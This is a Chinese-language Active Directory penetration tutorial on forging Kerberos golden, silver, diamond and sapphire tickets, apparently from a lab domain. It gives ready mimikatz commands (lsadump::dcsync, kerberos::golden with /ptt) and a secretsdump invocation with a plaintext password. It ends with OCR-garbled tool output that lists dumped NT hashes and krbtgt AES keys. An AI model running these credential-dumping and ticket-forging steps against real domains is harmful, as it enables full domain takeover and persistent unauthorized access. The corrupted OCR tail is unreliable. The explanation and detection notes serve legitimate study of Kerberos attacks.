一、黄金票据
概述
黄金票据是完全离线伪造的 TGT（票据授予票据），是域渗透中最经典的后门攻击。
拿到 krbtgt 账户的密钥后，攻击者可以伪造任意域用户、任意权限、任意有效期的 TGT，进而获取全域资源的访问权限。
攻击原理
Kerberos 体系中，所有 TGT 都由域控 KDC 使用 krbtgt 账户的密钥加密签发。

KDC 校验 TGT 时，只会用自己的 krbtgt 密钥解密验证，不会校验 TGT 是否真的由自己签发。

一旦攻击者获取 krbtgt 账户的 NT Hash（RC4 密钥）或 AES 密钥，就可以完全离线构造 TGT，自定义用户名、所属组、有效期、权限等所有字段。

利用条件
必须知道Krbtgt机器账户的HASH值

域内域名

域的SID值

需要伪造的用户（大部分情况下都是administrator）

SID值：在 Windows AD 域中，SID（Security Identifier，安全标识符） 可以理解为系统给每个安全主体分配的唯一“身份证号”。Windows 判断权限时看的是 SID，而不是用户名、组名或计算机名。
域 SID：代表这个 AD 域本身，格式通常是：

S-1-5-21-<A>-<B>-<C>

例如：S-1-5-21-1111111111-2222222222-3333333333

攻击流程
攻击者拿下域控，从 NTDS.dit 或 LSASS 内存中提取 krbtgt 账户的密钥

离线使用工具伪造域管理员身份的 TGT，可设置有效期长达 10 年（远超默认 10 小时）

将伪造的 TGT 注入本地 Kerberos 会话缓存

使用伪造的 TGT 向 KDC 的 TGS 服务申请任意目标服务的 ST（如域控的 CIFS、LDAP 服务）

KDC 用 krbtgt 密钥解密 TGT，验证通过后下发高权限 ST

攻击者使用 ST 访问目标资源，获得全域管理员权限

获取Hash
#1.控制域控后，直接获取

lsadump::dcsync /domain:abc.com /user:krbtgt



#2，控制非域控服务器后，再获取

#win08账号加入domain admins组，再使用

lsadump::dcsync /domain:abc.com /user:krbtgt

以下用户组中的域用户权限，可以使用Dcsync攻击：
administrators组

domain admins组

enterprise admins组

域控制器的计算机账户

生成票据
SID值：
[image: ]
#1.生成票据，出现KRB_AP_ERR_SKEW是因为和域控的时间不同步导致的

tgt::ask /user:administrator /domain:abc.com /password:a1b2c3..



#2.伪造票据,ptt表示自动注入到当前内存中

kerberos::golden /user:用户名 /domain:域名 /sid:sid值 /krbtgt:NTLM-HASH值 /ptt

kerberos::golden /user:administrator /domain:abc.com /sid:S-1-5-21-3783786980-4151936079-2952669593 /krbtgt:1d7a5aa4e990ee6190d07410208e2f0d /ptt

注入内存中：
[image: ]
访问域控共享C盘：
[image: ]
二、白银票据
概述
白银票据是伪造的单个服务 ST（服务票据），只能访问指定的单个服务 / 单台主机，无法跨服务跳转。
它不需要经过域控 KDC，全程离线伪造，隐蔽性远高于黄金票据。
攻击原理
Kerberos 中，访问具体服务的 ST 票据，是由对应服务账号的密钥加密的。
服务端校验 ST 时，只会用自身服务账号的密钥解密验证，默认不会向 KDC 二次校验 PAC 签名。
攻击者只要拿到目标服务对应账号的密钥，就可以离线伪造访问该服务的 ST，直接访问目标服务，全程不与 KDC 交互。
前提条件
获取目标服务对应服务账号的密钥

目标服务未强制开启 PAC 签名验证

域名

域SID值

需要伪造的用户名

攻击流程
攻击者获取目标主机计算机账户的 NT Hash

离线伪造针对该主机 CIFS 服务的 ST，自定义用户身份为域管理员

将伪造的 ST 注入本地 Kerberos 会话缓存

直接访问目标主机的 SMB 共享、执行远程命令，全程不经过域控 KDC

获取Hash
#1.控制域控后，直接获取

lsadump::dcsync /domain:abc.com /all /csv

[image: ]
#2.知道域管理员的明文户与密码,win08成员服务器执行

secretsdump.exe 域名/administrator:密码@IP地址

secretsdump.exe abc.com/administrator:a1b2c3..@192.168.88.200

[image: ]
生成票据
#在win08中使用mimikatz生成票据，如果携带/ptt则会自动注入到内存中，不携带则在本地生成票据，

kerberos::golden /domain:域名 /sid:SID值 /target:目标机器 /service:服务名 /rc4:目标机器上的机器账户NTLM-HASH值 /user:伪造的账户名 /ptt



kerberos::golden /domain:abc.com /sid:S-1-5-21-3783786980-4151936079-2952669593 /target:dc.abc.com /service:CIFS /rc4:f093c6687aa6c59bbeaa3da1e96f986e /user:administrator /ptt

注入票据：
[image: ]
访问域控的共享磁盘：
[image: ]
再次查看当前会话中的票据：
[image: ]
三、钻石票据
概述
钻石票据是黄金票据的隐蔽升级版，它不凭空伪造 TGT，而是篡改 KDC 真实签发的 TGT：先申请一张合法的普通用户 TGT，解密后修改其中的 PAC（特权属性证书）提升权限，再重新加密使用。
票据主体是 KDC 真实签发的，仅权限字段被篡改，极难被检测。
攻击原理
PAC 是 TGT 中携带用户权限信息的结构，包含用户所属组 SID、权限标识等。KDC 校验 TGT 时，会解密验证 PAC 的完整性，但不会校验 PAC 中的权限是否和申请用户匹配。
攻击者：
用普通域用户身份申请一张真实合法的 TGT

用 krbtgt 的 AES 密钥解密 TGT 的加密部分

修改 PAC 结构，向组 SID 中添加域管理员、企业管理员等高权限组 SID

重新计算 PAC 签名，再用 krbtgt 密钥重新加密 TGT

最终得到一张 “身份是普通用户、权限是域管理员” 的篡改 TGT，除了 PAC 被修改，其余所有字段（认证时间、会话密钥、签发者）都是 KDC 原生的。
攻击前提
获取 krbtgt 账户的 AES256 密钥（现代 Windows 默认 AES 加密 TGT，RC4 密钥无法解密）

拥有任意一个普通域用户的权限（用于申请真实 TGT）

可访问域控 88 端口

攻击流程
使用普通域用户账号向 KDC 发起 AS 请求，获取一张真实有效的普通用户 TGT

用 krbtgt 的 AES256 密钥解密 TGT 的加密数据部分

解析并修改 PAC，在用户组列表中插入域管理员组 SID

重新生成 PAC 签名，再用 krbtgt 密钥重新加密 TGT

将篡改后的 TGT 注入本地 Kerberos 会话

向 KDC 申请目标服务的 ST，KDC 解密验证通过，下发高权限 ST

使用 ST 访问目标资源，获得域管理员权限

特点
权限范围：全域级，和黄金票据一致

是否访问 KDC：全程需要，先申请真实 TGT，再申请 ST

隐蔽性：高。TGT 由 KDC 真实签发，日志呈现完整的正常登录流程（AS_REQ + TGS_REQ），无明显异常特征

检测难点：传统基于 “票据是否伪造” 的规则失效，只能通过 PAC 权限与用户身份不匹配检测

四、蓝宝石票据
概述
蓝宝石票据是钻石票据的进一步演进，是目前隐蔽性最高的 Kerberos 票据攻击之一。它不手动修改 PAC，而是利用 Kerberos 委派机制（S4U2Self + U2U）获取高权限用户的真实 PAC，再将其替换到自己的 TGT 中，PAC 本身完全合法原生，几乎无法通过特征检测。
攻击原理
核心利用 Kerberos 的两个扩展机制：
S4U2Self：服务可以代表用户向 KDC 申请一张针对自己的服务票据，票据中包含该用户的完整 PAC

U2U（User-to-User）：允许使用用户的 TGT 作为服务密钥，完成用户到用户的认证

攻击者利用普通用户权限，通过 S4U2Self + U2U 组合，获取到域管理员等高级用户的原生真实 PAC（包含完整合法签名），再用 krbtgt 密钥将这个高权限 PAC 替换到自己的 TGT 中，得到一张权限拉满、所有签名均合法的 TGT。
攻击前提
获取 krbtgt 账户的 NT/AES 密钥

拥有任意一个普通域用户权限

域环境支持 Kerberos S4U2Self 与 U2U 委派机制

知道高权限用户的用户名（不需要其密码或哈希）

攻击流程
使用普通域用户向 KDC 发起 AS 请求，获得自身的真实 TGT

利用 S4U2Self + U2U 机制，以域管理员为目标用户，向 KDC 申请一张针对自身的服务票据

这张 ST 中包含域管理员的完整、原生、带合法签名的 PAC

提取该 ST 中的高权限 PAC

用 krbtgt 密钥解密自身的 TGT，将原有普通权限 PAC 替换为高权限真实 PAC

重新加密 TGT 并注入本地会话

使用修改后的 TGT 申请 ST，获得域管理员级别的资源访问权限

特点
权限范围：全域级

是否访问 KDC：全程需要

隐蔽性：极高。PAC 是高权限用户的原生真实结构，签名完全合法，票据整体与正常票据几乎无差异

检测难点：常规的 PAC 签名校验、票据合法性校验均会通过，仅能通过行为异常（普通用户突然出现高权限票据）发现
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mimikatz # kerberos::golden /user:administrator /domain:abc.com /sid:S—-1-5-21-¢
83786980-4151936079-2952669593 /krbtgt:1d7abaa4e990ee6190d07410208e2f0d /ptt
User : administrator

Domain : abc. com (ABC)

SID : S—-1-5-21-3783786980-4151936079-2952669593

User Id : 500

Groups Id : %513 512 520 518 519

ServiceKey: 1d7a5aa4e990ee6190d07410208e2f0d — rc4 hmac nt

Lifetime : 2026/10/15 23:00:46 ; 2036/10/12 23:00:46 ; 2036/10/12 23:00:46

—> Ticket : #** Pass The Ticket s

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrbCred generated
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Golden ticket for ’administrator @ abc.com’ successfully submitted for current
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C:\Users\win08>dir \\dc. abc. com\c$
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mimikatz # log

000
500

502

103
106
104
105
107

DC$ £093c6687aabcb59bbeaa3ddale9d6£986e
Administrator  b6fedcbblab4f59dd213d03eb992b759
krbtgt 1d7abaa4e990ee6190d07410208e2f0d
winl0  0d546438b1f4c396753b4fc8c8565d5h
WIN12$ 97ec33a55d57e¢ab8356c6d5040a096e8
win08  0d546438b1f4c396753b4fc8c8565d5h
winl2  0d546438b1f4c396753b4fc8c8565d5b

WINO8$

Using 'mimikatz. log’ for logfile : OK

mimikatz # lsadump::dcsync /domain:abc.com /all /csv
DC] *abc.com” will be the domain

DC] ’DC.abc.com’ will be the DC server
DC] Exporting domain ’abc. com’

rpc] Service

: ldap
rpc] AuthnSve : GSS_NEGOTIATE (9)

2e2960fd198e49eb3c2e0ch81882e7e5

532480

514
66048
4096
66048
66176
4096
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[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Using the DRSUAPI method to get NIDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb6fedcbblab4f59dd213d03eb992b
759:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089¢0: : :
krbtgt:502:aad3b435b51404eeaad3b435bb1404ee: 1d7abaa4e990ee6190d07410208e2f0d: : :
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c0)
89c0:::
winl0:1103:aad3b435b51404eeaad3b435b51404ee:0d546438b114c396753b4fc8c8565d5b: : :
win08:1104:aad3b435b51404eeaad3b435b51404ee:0d546438b114c396753b4fc8c8565d5b: : :
winl2:1105:aad3b435b51404eeaad3b435b51404ee:0d546438b114c396753b4fc8c8565d5b: : :
DC$:1000:aad3b435b51404eeaad3b435b51404ee: £093c6687aabc59bbeaaddale9d6986e: : -
WIN12$:1106:aad3b435b51404eeaad3b435b51404ee:97ec33a55d57ea68356c6d5040a096e8: : :

WINO8$:1107:aad3b435b51404eeaad3b435b51404ee:22960£d198e49eb3c2e0ch81882e7e5: : :

[*] Kerberos keys grabbed
krbtgt:aes256—cts—hmac—shal-96:58e11b6ff16a69fe037f85a51fabca272544fddc5266953al
2b9a2d22eb5b111

krbtgt:aes128-cts—hmac—shal-96:793fce28e6a8a0544d9131e439a25d18
krbtgt:des—cbc—md5: ea3ee6d920ecc252
winl0:aes256—cts—hmac—shal-96:905a352ba376d2fbfbd0702bee99f1d130623943d42d566b33
79454566dfadee
winl0:aes128-cts—hmac—shal-96:1b32c10fdbb4feeb0abd25bcad96dfsH1
winl0O:des—cbc-md5:2f860edc1f15d3c2
win08:aes256—cts—hmac—shal—-96:09943730380b442498fe0132605b91b64ac6clch85328f2a38
6828d5bb3eb611
win08:aes128-cts—hmac—shal-96:b52e80824d99d053fdba64be31bbfbf3
win08:des—cbc-md5:454c0d8a79379e7a
winl2:aes25b6—cts—hmac—shal-96:606dd893b6041496f909fe8alecbfOa8ecabcfc71a3fd67927
914f55ae6f991e
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C:\Users\win08>whoami /all
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